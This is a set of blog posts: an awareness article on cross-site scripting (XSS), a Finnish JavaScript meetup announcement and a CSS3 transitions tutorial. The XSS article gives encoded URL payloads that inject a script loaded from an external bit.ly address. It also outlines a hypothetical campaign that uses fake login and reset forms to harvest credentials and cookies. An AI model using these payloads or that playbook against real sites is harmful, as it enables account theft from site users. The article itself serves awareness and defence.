Few months ago, Mikko Hyppönen (Chief Research Officer, F-Secure) wrote on their blog about a XSS vulnerability found on their site. This incident inspired me to write this article about XSS vulnerabilities in general – the form of a vulnerability I see way too underestimated.

Hyppönen made an excellent statement (free translation): “If even the companies specialized in data security don’t have flawless websites then what are the chances for companies which aren’t specialized in it?”.

I completely agree with his statement. While writing this article, I took 15 random websites from The TOP25 most visited websites in Finland. I did brief, manual tests to these websites and ended up finding XSS vulnerabilities in nine different sites. Eight of these websites has user logins, and two of them also deals with real money transactions.

In this article I’ll make an overview on XSS as a vulnerability, listing the forms of vulnerabilities and how they are exploited. I’ve also created a light example, which is meant for demonstrating XSS in real use.

This article doesn’t offer tips for protecting against XSS exploits mainly because the subject is technology independent. However, there are few excellent links at the end of the article, also offering guidance for website administrators.

This article is also published in Finnish, at Gfx.

What XSS is all about?

• The amount of XSS vulnerabilities is estimated as 80% out of total amount of web security vulnerabilities (according to Symantec, 2007),
• OWASP (The Open Web Application Security Project) has listed XSS vulnerabilites as 2nd highest web application security risk in 2010,
• XSS vulnerabilities have been found also on very large websites, such as Facebook, Twitter or Wikipedia.

As a brief conclusion it can be said XSS is a severe vulnerability, threatening both small and large websites.

Different types of XSS vulnerabilites

XSS vulnerabilites can be divided at least in four different types:

1. injection via URL (HTTP query),
2. injection via permanently displayed data (eg. with form submission),
3. injection by exploiting client side code,
4. injection by exploiting external feed displayed on a website,

Additionally, I’ll mention a fifth threat “injection executed by user himself”.

1) Injection via URL

This is the most common type of vulnerability. Injection via URL is also quite short-lived and easily spotted exploit.

If the website is unable to validate the query string correctly, the exploit is very trivial. For instance, the exploit could look like this: http://www.domain.tld/?page=Main”%3e%3c%73%63%72%69%70%74%20%73%72%63=//%62%69%74%2e%6c%79/%78%73%73_1%3e%3c/%73%63%72%69%70%74%3e%3c%73%70%61%6e%20″.

I’m confident by claiming that average user (btw. you’re not average user) don’t see anything suspicious on such URL. In addition, an average user is likely to have a browser setup which doesn’t see anything suspicious in this case either. And even if the browser would react, there still are some methods to fool the browser (or an add-on). Plus we could use URL shorteners because most of them don’t sanitize URL’s for potential XSS exploits.

2) Injection via permanently displayed data

This exploit is much more severe than previous one because it offers the way to create a permanent injection.

The basic principle is to find a form which allows submitting malicious and displays it without proper validation. For instance, such exploit existed in Facebook only few months ago which allowed XSS exploit through the title of the Facebook group.

Nowadays, many of the websites are created by using existing components or frameworks which almost always prevents this kind of security vulnerabilites.

3) Injection by exploiting client side code

This exploit is very similar to the 1st vulnerability I listed. In this case the injection is not appended to the HTML section, it’s executed by exploiting existing client-side code.

This kind of exploit isn’t quite common. However, in situations where scripts are appended dynamically, eval() function is fired in wrong place or query string parameters are used as client-side variables, website may contain a XSS vulnerability.

4) Injection by exploiting external feed

This type of vulnerability is quite rare and usually occurs in situations where developer has either been very inexperienced or very very busy.

This could occur eg. in a situation where a company publishes their Twitter feed on a website. Such situation may exist when feed is not properly validated or it’s handled incorrectly on client-side.

This actually happened in real life, in a case called #cashgordon.

5) Injection executed by user himself

This type of vulnerability is beyond website administrators or developers. But it’s still worth of mentioning. The exploit is based purely on that user himself is tricked to execute JavaScript in his browser.

But why? Why would anyone execute JavaScript in his browser when told to?

The whole concept is based on three thing: 1) an average user (yes, not you) isn’t aware of the consquences, 2) recommendation to execute JavaScript is usually received from a “known” person, and 3) curiosity is not a sin.

Yes, we’ve seen this movie before. The concept is practically same when dealing with e-mail worms and viruses.

This kind of exploit is something you’ve most likely seen on Facebook. For instance, when Facebook users are told they can activate Dislike-button, they go nuts. Tell them to execute a single line of JavaScript (leaked by Facebook developers of course – or some other fancy story), and they’ll do it. And while posting status updates without user prompt is possible, the story goes on and on…

XSS vulnerability means trouble

In many cases XSS means more than teenagers popping up alert dialogs with dirty words. I’ve listed some of the troubles related to XSS vulnerabilities:

User input is not protected

The most important thing to note is that when website is injected with XSS, everything user does can be logged. If we trick the user to login the website like he normally does, he gives us his credentials without ever being aware of it.

Users tend to trust known websites

Another important point is XSS offers a playground where users tend to think everything is safe. This lowers the barrier for user to hand over information about himself. Whenever there is a form or dialog in a trusted environment, requesting some private information with a nice and warm introduction in a trusted environment, many users don’t feel anything being wrong.

XSS vulnerability may indicate also other type of security vulnerabilities

When XSS vulnerability is found on a website, it’s not impolite to expect there are also other flaws in security. XSS vulnerability usually acts as an indicator that website is custom made, which means data security issues are done almost from scratch. Even if the website is built by using framework(s), there’s still something done awfully wrong.

In any case I’m quite convinced that “XSS vulnerabilities attracts people with black hats”.

Mistakes are repeated

When the creator of the exploitable website is known, a new kind of problem is born: with Google or by visiting a creator’s website it’s usually easy to find out other websites they have created. And if they’ve created one website with flaws, it’s possible the same flaws are repeated on other websites too.

There’s no such thing as “harmless vulnerability” from the user point-of-view

When an user is told that website has had some issues with data security, he’ll definitely see that as negative thing. It probably harms the “relationship” between an user and a website.

There’s no practical difference from the average user’s point-of-view whether the security issue has been only a minor XSS vulnerability or the whole database has been taken. They’re not interested in technical details or excuses about severity of the impact, at least not right after the incident.

An imaginary example of XSS vulnerability

This example demonstrates the situation which could occur when a website suffers from XSS vulnerability.

The setup

We’ve found a XSS vulnerability from a very popular discussion forum. All of the query string parameters aren’t validated correctly and injection can be made via URL: http://www.foobarforum.com/?threadID=42%27%3e%3c%73%63%72%69%70%74%20%73%72%63=//%62%69%74%2e%6c%79/%78%73%73_1%3e.

The injection string is mainly encoded in UTF-8 format. We could make URL even shorter by encoding only the part of the string. Or alternatively we could use URL shortener service.

The preparation

So, we have created a discussion thread we’re referring to. We have also written a script that will do the “magic” for the injected page.

Earlier, we’ve created user accounts to other popular discussion forums and written few messages in order to make these profiles more reliable.

Now it’s the time to write harmless discussion threads to other forums, which are referring to the forum with vulnerability:

These messages are written outside normal working hours, while discussion forums are still very active. In other words, we’re having many users seeing these messages while the reaction time of the exploited website is likely to be longer.

The messages should be alluring yet convincing enough. Our advantage is that most discussion forums have been created around certain general topics (like technology, music, family etc), which makes it easier to compose tempting messages.

The most obvious problem is that sooner or later one of the users will realize that referring link contains a XSS string, and he’ll immediately report about it. However, the link is spread on many discussion forums and the show isn’t over until there are reactions on the vulnerable website.

The action

In this case, we’re interested in getting user accounts. Thus, we have to have a story which encourages users either to log in or to register through the injected page. Additionally, we have to take care that users are staying in the injected page:

We’ve modified inner content of the page while leaving the basic layout and structure as it should be – exluding the login form (1). According to the story, user must log in order to see the content. We’re offering our own login form (2) to encourage visitor to actually log in.

Neither of the forms actually logs in. We just wait a little and then we display an error message claiming either username or password was incorrectly entered.

There’s also a possibility that the visitor is already a registered user, using automatic pre-fill made by the browser. In this case it’s possible for us to collect the user data directly.

We’re also offering a registration link (3), which would dynamically open a registration dialog. And we would do the same with link “Forgot your password?”(4).

Many users have (or should have) several passwords for different websites. It’s possible that user gets frustrated when his login fails and he tries with a different user name or password (I have to admit I do this very often). It’s not illogical to assume that the user name could be e-mail instead of nickname or you’ve recently changed your password to another password you tend to use.

When user requests a new password, a personal question might be asked. This offers yet another possibility to collect private information about the user.

And if we’re not still happy, there are cookie data, perhaps session or website specific, client-side variables and other information we can collect for later use.

The outcome

Even if we wouldn’t receive any sensitive information about users who visited the injected page, the harm is already done. Least (or the right thing) the website administrator could do, is to inform all the users about the incident and recommend them to change their passwords – preferably in every website they’re using the same password.

Conclusion

Like I earlier said, the amount of XSS vulnerabilities is huge and they’re spotted both in small and large websites. To support my point-of-view, I did spend some time to see the “tip of the iceberg” by going through the most popular websites in Finland.

I’m confident to finish my article with a conclusion that either the attitude towards XSS vulnerabilites is too slight or alternatively developers aren’t fully aware about XSS as a security threat.

Exploitation of XSS vulnerabilities requires some creativity and imagination – “it’s not the story itself, it’s all about how it’s been told”. When the ultimate goal is to cause harm with XSS, it’s never too hard to generate the story.

External resources

• Wikipedia: Cross Site Scripting
• XSS Cheat Sheet
• XSSed – Cross Site Scripting attacks information and archive
• “alert(‘xss’) – The slow death of XSS”
• Opera Dev Community: JavaScript for Hackers
• Video: JavaScript: The Evil Parts (Billy Hoffman, JSConf 2010)

(This post is in Finnish)

olemme järjestämässä pienimuotoista, JavaScript-aiheista tapahtumaa Helsingissä, 15. syyskuuta 17:30-21:00. http://www.frontendfinland.org/

Tapahtumaan ilmoittautuminen alkaa tänään perjantaina 6. elokuuta klo 14:00. Ilmoittautumiset osoitteeseen info (a) frontendfinland (dot) org

This post is targeted for Finnish audience, although it’s written in English.

Last year during Full Frontal Javascript Conference at November I got an idea of arranging some kind of event for (frontend) web developers in Finland. The sad truth is that we don’t have such events at all.

There’s at least medium amount of very talented web developers living in Finland. However, we get together very occasionally, mostly in events that aren’t related to web development at all. Therefore I have a strong opinion we should form a more concrete community which I’m already named as “Frontend Finland” :)

The idea of arranging such event got buried. But couple weeks ago, a colleague of mine (at Futurice) mentioned he had the very similar idea about arranging a JavaScript event in Helsinki, Finland.

So we made a quick review about potential topics to be discussed. Actually I had already made a short list with an ex-colleague from Fruugo.

The event itself, as a first event ever, would be very modest and unofficial. And the “official” part wouldn’t last longer than two to three hours, containing no more than four presentations about different topics.

The event would be:

• free (or very minimal charge for covering running costs),
• arranged on late September or early October,
• located in Helsinki,
• gathering around 40 to 80 enthusiastic web developers,
• contain short sessions (15-30 minutes) of presentations,
• social event to emphasize we’re not alone :)

The event is in very early planning stage and I’m about to contact potential developers, asking them whether they would like to contribute with their know-how, sharing their experiences.

The big question is: what kind of topics you would like to hear about? The preparatory topics we discussed of were: current state and general knowledge about DOM scripting, overview to some JavaScript framework (most likely jQuery), using JavaScript for building rich web applications or CMS’s, using JavaScript in mobile web development and “bubbling under” trends like WebGL or server-side JavaScript.

In addition, if everything goes well and we get such event arranged at all, there’s definitely place for another similar kind of event about frontend web development in general. That event would cover topics about HTML5, CSS3 and the status of latest modern browsers (such as IE9 or Firefox 4). This event would take place somewhere in Spring 2011.

And if you’re able to contribute in any way, please contact me via e-mail.

General Web Development and Web Design

HTML & CSS

Javascript, jQuery and Other JS Frameworks

Hacking and Security

This article is also published in Finnish, titled as “CSS3 Transitiot – olemmeko jo perillä?” at gfx.fi.

Like mentioned above, the whole topic has been split in two parts. The first part is offering a general overview in current status of CSS3 Transitions. Second part is called “CSS3 Transitions – Problems and Solutions”, which will explain in details how CSS3 Transitions behave in different browsers.

The first part of the article contains following sections:

• Getting Started – what you must have on your workstation
• The Basics of the Basics – what you should know about transitions
• The Basics – what you must know about CSS3 Transitions (demo section)
• Conclusions – are we there yet?
• External Resources – places where you must visit after reading this article

Getting Started

To get started, you’ll need a browser that supports CSS3 Transitions:

• Apple Safari (supported in Safari 3.1 and later, and in iPhone OS 2.0 and later.)
• Google Chrome
• Mozilla Firefox 3.7 alpha (also known as Minefield)
• Opera 10.5x (also supported by Opera Mobile 10 beta 2)

What about Internet Explorer?

At the moment it’s announced that Internet Explorer 9 isn’t going to support CSS3 Transitions. The best support for IE Transitions and Transformations can be achieved with Matrix Filter.

Additionally, I recommend reading an article titled Cross-Browser Animated CSS Transforms — Even in IE, written by Zoltan “Du Lac” Hawryluk who is the author of cssSandpaper.

The Basics of the Basics

Unfortunately, there’s no “one rule to rule them all” for transitions. Actually every browser has their own proprietary properties. Fortunately the syntax for values are consistent.

What can be transitioned?

Most properties can be transitioned and therefore I see no reason to list them here explicitly. However, there are some difference between browsers and the most obvious exception is that Firefox 3.7a doesn’t support transition of transformations at all.

The property values for transitions

Transitions have four values to declare at maximum:
Shorthand:

-webkit-transition: property_name duration timing_function delay;
-moz-transition: property_name duration timing_function delay;
-o-transition: property_name duration timing_function delay;
transition: property_name duration timing_function delay;

You also can declare every value explicitly:

(Target) Property:

-webkit-transition-property: property_name;
-moz-transition-property: property_name;
-o-transition-property: property_name;
transition-property: property_name;

Duration:

-webkit-transition-duration: duration;
-moz-transition-duration: duration;
-o-transition-duration: duration;
transition-duration: duration;

Duration (like delay) can be entered either in seconds (eg. 0.5s) or in milliseconds (eg. 500ms). It’s important to note that if the value is entered without suffix, transition will not work at all.

Timing (of motion):

-webkit-transition-timing-function: timing_function;
-moz-transition-timing-function: timing_function;
-o-transition-timing-function: timing_function;
transition-timing-function: timing_function;

Available timing functions:

• cubic-bezier(cp1_x, cp1_y, cp2_x, cp2_y)
• ease – equivalent to cubic-bezier(0.25, 0.1, 0.25, 1.0).
• linear – equivalent to cubic-bezier(0.0, 0.0, 1.0, 1.0).
• ease-in – equivalent to cubic-bezier(0.42, 0, 1.0, 1.0).
• ease-out – equivalent to cubic-bezier(0, 0, 0.58, 1.0).
• ease-in-out – equivalent to cubic-bezier(0.42, 0, 0.58, 1.0).

Delay:

-webkit-transition-delay: delay;
-moz-transition-delay: delay;
-o-transition-delay: delay;
-transition-delay: delay;

Delay (like duration) can be entered either in seconds (eg. 0.5s) or in milliseconds (eg. 500ms).

In general, it’s good to declare transitions on default state selectors without pseudo classes. This will cause transition played in both direction, eg. when hovering.

Remember, you have to enter all the properties four times before being cross-browser compliant. Therefore it’d be best to use shorthand codes for keeping your CSS code clean.

The Basics

Now, I’m going to demonstrate some of the transitions. You must either hover or to click activation buttons for displaying transitions.

All the code examples below has no browser proprietary format written – this is for saving space.

Basic Transition: Dimensions and Scaling

I’ll start by demonstrating the basic transition. It also demonstrates the difference between width+height and scale transform.

#widthHeight	{transition:all 500ms;}
#widthHeight:hover	{width:200px;height:200px;line-height:200px;}

#scale	{transition:all 500ms;}
#scale:hover	{transform:scale(2.0, 2.0);}

As you can see, width and height increases normally while scaling is treated almost like absolutely positioned element. On scaling, the transform-origin is set to middle while modifying width+height origin is on the top-left corner.

Transition with Timing Function

Below there are two blocks rotating; one with linear timing-function and second one with ease.

#rotateLinear	{position:relative;clear:both;left:0px;
		transition:all 2500ms linear;}

#rotateEasing	{position:relative;clear:both;left:0px;
		transition:all 2500ms ease;}

#rotateLinear:target	{left:200px;
			transform:rotate(360deg);}

#rotateEasing:target {left:200px;
			transform:rotate(360deg);}

Activate LinearActivate Easing

As you probably noticed, the movement is different but both transitions ends at the same time (after 2500ms).

Transition with Delay

Delays are useful in some cases. And they’re very easy to implement in transitions:

#bgColorDelay	{background-color:#12142B;
		transition:background-color 500ms linear 800ms;}
#bgColorDelay:hover	{background-color:#336699;}

Transition Chaining

Transitions can also be chained. This doesn’t come as a default feature, but chaining can be achieved by adding delay between transitions:

#widthHeightOpacity	{transition:width 500ms, height 500ms linear 500ms, opacity 500ms linear 1000ms;}
#widthHeightOpacity:hover	{width:200px;height:200px;opacity:0.1;}

This has one caveat: transitions are displayed in same order no matter whether the element is hovered or it’s in default state. And that makes no sense. Therefore we need to reverse the declarations (compared to earlier examples) as following:

#widthHeightOpacity	{
	transition:width 500ms 1000ms, height 500ms linear 500ms, opacity 500ms linear;
}

#widthHeightOpacity:hover	{width:200px;height:200px;opacity:0.1;
	transition:width 500ms, height 500ms linear 500ms, opacity 500ms linear 1000ms;
}

Is There Anything Else?

Well of course, there might be something else I haven’t noticed at this point. But what I’m trying to emphasize is that transitions are rather simple to implement (although they require a bit extra work for cross-browser compliancy).

Conclusions

Are we there yet? Yes, we’re over halfway there. Transitions in general are very cool in proper use.

However, I’m personally still bit skeptic with CSS3 Transitions: at this point, you can’t rely on them and you must do cross-browser testing thoroughly. I’ll cover some of the problems at the following part of this article series. And I’m also going to briefly compare CSS3 Transitions with jQuery Animations.

If you’re dealing with a platform solely running on WebKit (like iPhone or Adobe AIR) then go ahead and enjoy the full power of both CSS3 Transitions and WebKit animations.

External Resources

Here are some good resources provided both by browser vendors and other external authors. I strongly suggest reading them for adopting transitions and other CSS3 techniques.

• Safari CSS Visual Effect Guide: Transitions
• Mozilla CSS transitions – MDC
• Opera: CSS3 Transitions support in Opera Presto 2.3

• CSS3.info
• CSS3, Please! The Cross-Browser CSS3 Rule Generator
• CSS Fundamentals: CSS 3 Transitions | NetTuts+
• CSS Transitions 101 | Webdesigner Depot
• Going Nuts with CSS Transitions | 24 ways
• Safari CSS Visual Effect Guide: Animations

Comments?

Feel free to comment any part of the article. Additionally, if you know good resources about CSS3 Transitions, go ahead and contribute.